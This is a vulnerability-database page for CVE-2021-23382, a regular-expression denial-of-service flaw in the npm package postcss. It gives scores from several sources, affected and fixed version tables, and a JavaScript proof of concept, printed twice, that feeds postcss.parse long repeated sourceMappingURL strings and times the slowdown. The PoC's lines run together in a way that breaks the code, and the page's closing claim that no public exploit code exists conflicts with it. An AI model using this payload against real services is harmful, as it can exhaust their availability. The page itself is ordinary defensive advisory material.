CVE-2021-23382

Regular Expression Denial of Service (ReDoS)

5.3 MediumFix available

The package postcss before 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern /*\s* sourceMappingURL=(.*).

Attack profile

How easy it is to exploit

Attack vector: Network
Complexity: Low
Privileges needed: None
User interaction: None

What an attacker can affect

Confidentiality: None
Integrity: None
Availability: Low

Exploit likelihood

2.56%Up 1.5 points since Apr 27, 2021

What each source reports

CVE List Score used 5.3

Regular Expression Denial of Service (ReDoS)

Record: CVE-2021-23382
CVSS 3.1: 5.3 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Updated: 2026-11-02

EUVDEUVD-2022-0459 5.3

Record: EUVD-2022-0459
CVSS 3.1: 5.3 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Updated: 2026-11-03

GitHub AdvisoriesGHSA-566m-qj78-rww5 5.3

Regular Expression Denial of Service in postcss

The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern

\/\*\s* sourceMappingURL=(.*)

PoC

var postcss = require("postcss")
function build_attack(n) {
    var ret = "a{}"
    for (var i = 0; i < n; i++) {
        ret += "/*# sourceMappingURL="
    }
    return ret + "!";
}

postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
    if (i % 1000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i) try {
            postcss.parse(attack_str) var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
        } catch (e) {
            var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
        }
    }
}

Record: GHSA-566m-qj78-rww5
CVSS 3.1: 5.3 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Weakness: CWE-400
Updated: 2026-11-02

NVD 5.3

Record: CVE-2021-23382
CVSS 3.1: 5.3 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
CVSS 3.1: 7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CVSS 2.0: 5.0 MediumAV:N/AC:L/Au:N/C:N/I:N/A:P
Weakness: CWE-1333
Updated: 2026-11-02

OSV 7.5

Record: CVE-2021-23382
CVSS 3.1: 7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated: 2026-11-02

OSVDEBIAN-CVE-2021-23382 7.5

Record: DEBIAN-CVE-2021-23382
CVSS 3.1: 7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated: 2026-11-02

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OSVGHSA-566m-qj78-rww5 5.3

Regular Expression Denial of Service in postcss

\/\*\s* sourceMappingURL=(.*)

PoC

var postcss = require("postcss")
function build_attack(n) {
    var ret = "a{}"
    for (var i = 0; i < n; i++) {
        ret += "/*# sourceMappingURL="
    }
    return ret + "!";
}

postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
    if (i % 1000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i) try {
            postcss.parse(attack_str) var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
        } catch (e) {
            var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
        }
    }
}

Record: GHSA-566m-qj78-rww5
CVSS 3.1: 5.3 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Weakness: CWE-400
Updated: 2026-11-02

OSVUBUNTU-CVE-2021-23382 5.3

Record: UBUNTU-CVE-2021-23382
CVSS 3.1: 5.3 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
CVSS 3.1: 7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated: 2026-11-02

OSVCLSA-2026-1774830263 No score

TuxCare security update for postcss (2 CVEs)

TuxCare rebuilt postcss to address 2 CVEs. Fixed in 5.2.18-tuxcare.1.

Record: CLSA-2026-1774830263
Updated: 2026-11-02

OSVCLSA-2026-1776299672 No score

TuxCare security update for postcss (3 CVEs)

TuxCare rebuilt postcss to address 3 CVEs. Fixed in 7.0.14-tuxcare.1.

Record: CLSA-2026-1776299672
Updated: 2026-11-02

OSVCLSA-2026-1779065198 No score

TuxCare security update for postcss (4 CVEs)

TuxCare rebuilt postcss to address 4 CVEs. Fixed in 7.0.21-tuxcare.1.

Record: CLSA-2026-1779065198
Updated: 2026-11-02

OSVCLSA-2026-1779324473 No score

TuxCare security update for postcss (4 CVEs)

TuxCare rebuilt postcss to address 4 CVEs. Fixed in 7.0.32-tuxcare.1.

Record: CLSA-2026-1779324473
Updated: 2026-11-02

OSVCLSA-2026-1779670117 No score

TuxCare security update for postcss (4 CVEs)

TuxCare rebuilt postcss to address 4 CVEs. Fixed in 7.0.17-tuxcare.1.

Record: CLSA-2026-1779670117
Updated: 2026-11-02

OSVCLSA-2026-1790604941 No score

TuxCare security update for postcss (6 CVEs)

TuxCare rebuilt postcss to address 6 CVEs. Fixed in 6.0.1-tuxcare.1.

Record: CLSA-2026-1790604941
Updated: 2026-11-02

OSVCLSA-2026-1792164471 No score

TuxCare security update for postcss (3 CVEs)

TuxCare rebuilt postcss to address 3 CVEs. Fixed in 8.2.9-tuxcare.1.

Record: CLSA-2026-1792164471
Updated: 2026-11-02

OSVROOT-APP-NPM-CVE-2021-23382 No score

CVE-2021-23382 in postcss - Patched by Root

Root has patched CVE-2021-23382 in the postcss package for Root:npm. Multiple fixed versions available.

Record: ROOT-APP-NPM-CVE-2021-23382
Updated: 2026-11-02

Affected products

postcss

Affected packages

Affected packages
Package	Affected	Fixed
`postcss` npm	8.0.0 up to 8.2.13	8.2.13
`postcss` npm	before 7.0.36	7.0.36
`postcss` TuxCare:npm From an advisory covering 2 CVEs	5.2.18-tuxcare.0 up to 5.2.18-tuxcare.1, plus listed versions 5.2.18	5.2.18-tuxcare.1
`postcss` TuxCare:npm From an advisory covering 3 CVEs	7.0.14-tuxcare.0 up to 7.0.14-tuxcare.1, plus listed versions 7.0.14	7.0.14-tuxcare.1
`postcss` TuxCare:npm From an advisory covering 4 CVEs	7.0.21-tuxcare.0 up to 7.0.21-tuxcare.1, plus listed versions 7.0.21	7.0.21-tuxcare.1
`postcss` TuxCare:npm From an advisory covering 4 CVEs	7.0.32-tuxcare.0 up to 7.0.32-tuxcare.1, plus listed versions 7.0.32	7.0.32-tuxcare.1
`postcss` TuxCare:npm From an advisory covering 4 CVEs	7.0.17-tuxcare.0 up to 7.0.17-tuxcare.1, plus listed versions 7.0.17	7.0.17-tuxcare.1
`postcss` TuxCare:npm From an advisory covering 6 CVEs	6.0.1-tuxcare.0 up to 6.0.1-tuxcare.1, plus listed versions 6.0.1	6.0.1-tuxcare.1
`postcss` TuxCare:npm From an advisory covering 3 CVEs	8.2.9-tuxcare.0 up to 8.2.9-tuxcare.1, plus listed versions 8.2.9	8.2.9-tuxcare.1
`node-postcss` Debian:12	before 8.2.1+~cs5.3.23-7	8.2.1+~cs5.3.23-7

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Affected packages
Package	Affected	Fixed
`node-postcss` Debian:13	before 8.2.1+~cs5.3.23-7	8.2.1+~cs5.3.23-7
`node-postcss` Debian:14	before 8.2.1+~cs5.3.23-7	8.2.1+~cs5.3.23-7
`postcss` Root:npm	before 5.2.18-aikido.2	5.2.18-aikido.25.2.18-aikido.35.2.18-aikido.45.2.18-aikido.57.0.36-aikido.1
`@rootio/postcss` Root:npm	before 5.2.18-root.io.1	5.2.18-root.io.15.2.18-root.io.25.2.18-root.io.35.2.18-root.io.45.2.18-root.io.57.0.36-root.io.1
`node-postcss` Ubuntu:20.04:LTS	All versions, plus listed versions 6.0.23-16.0.23-3	None known
`node-postcss` Ubuntu:22.04:LTS	All versions, plus listed versions 8.2.1+~cs5.3.23-88.4.5+~cs7.1.51-28.4.6+~cs7.3.21-1	None known

History

History
Recorded	Changed	Sources
Nov 6, 2026	affected, facts
Nov 3, 2026	aliases, published	EUVD
Nov 2, 2026	first indexed	CVE List, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2021-23382 is a medium vulnerability (CVSS 5.3) in Postcss, published April 26, 2021. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 2.56%, the 85th percentile. Fixed in postcss 8.2.13.

References

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